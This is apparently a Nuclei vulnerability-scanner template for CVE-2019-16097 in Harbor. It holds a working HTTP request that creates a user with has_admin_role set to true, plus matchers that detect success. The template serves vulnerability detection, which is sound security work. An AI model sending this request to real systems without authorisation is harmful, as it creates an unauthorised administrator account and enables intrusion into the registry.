nuclei-templates/cves/2019/CVE-2019-16097.yaml

29 lines
812 B
YAML
Raw Normal View History

2021-02-19 06:08:32 +00:00
id: CVE-2019-16097
info:
name: Harbor Enables Privilege Escalation From Zero to admin
author: pikpikcu
severity: critical
issues: https://github.com/goharbor/harbor/issues/8951
refrence: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
requests:
- method: POST
path:
- '{{BaseURL}}/api/users'
headers:
Content-Type: application/json
body: |
{"username": "nuclei", "has_admin_role": true, "password": "NucleiTest!", "email": "zerozero@example.com", "realname": "nuclei"}
matchers-condition: and
matchers:
- type: word
words:
- "username has already been used"
part: body
- type: status
status:
- 201
- 409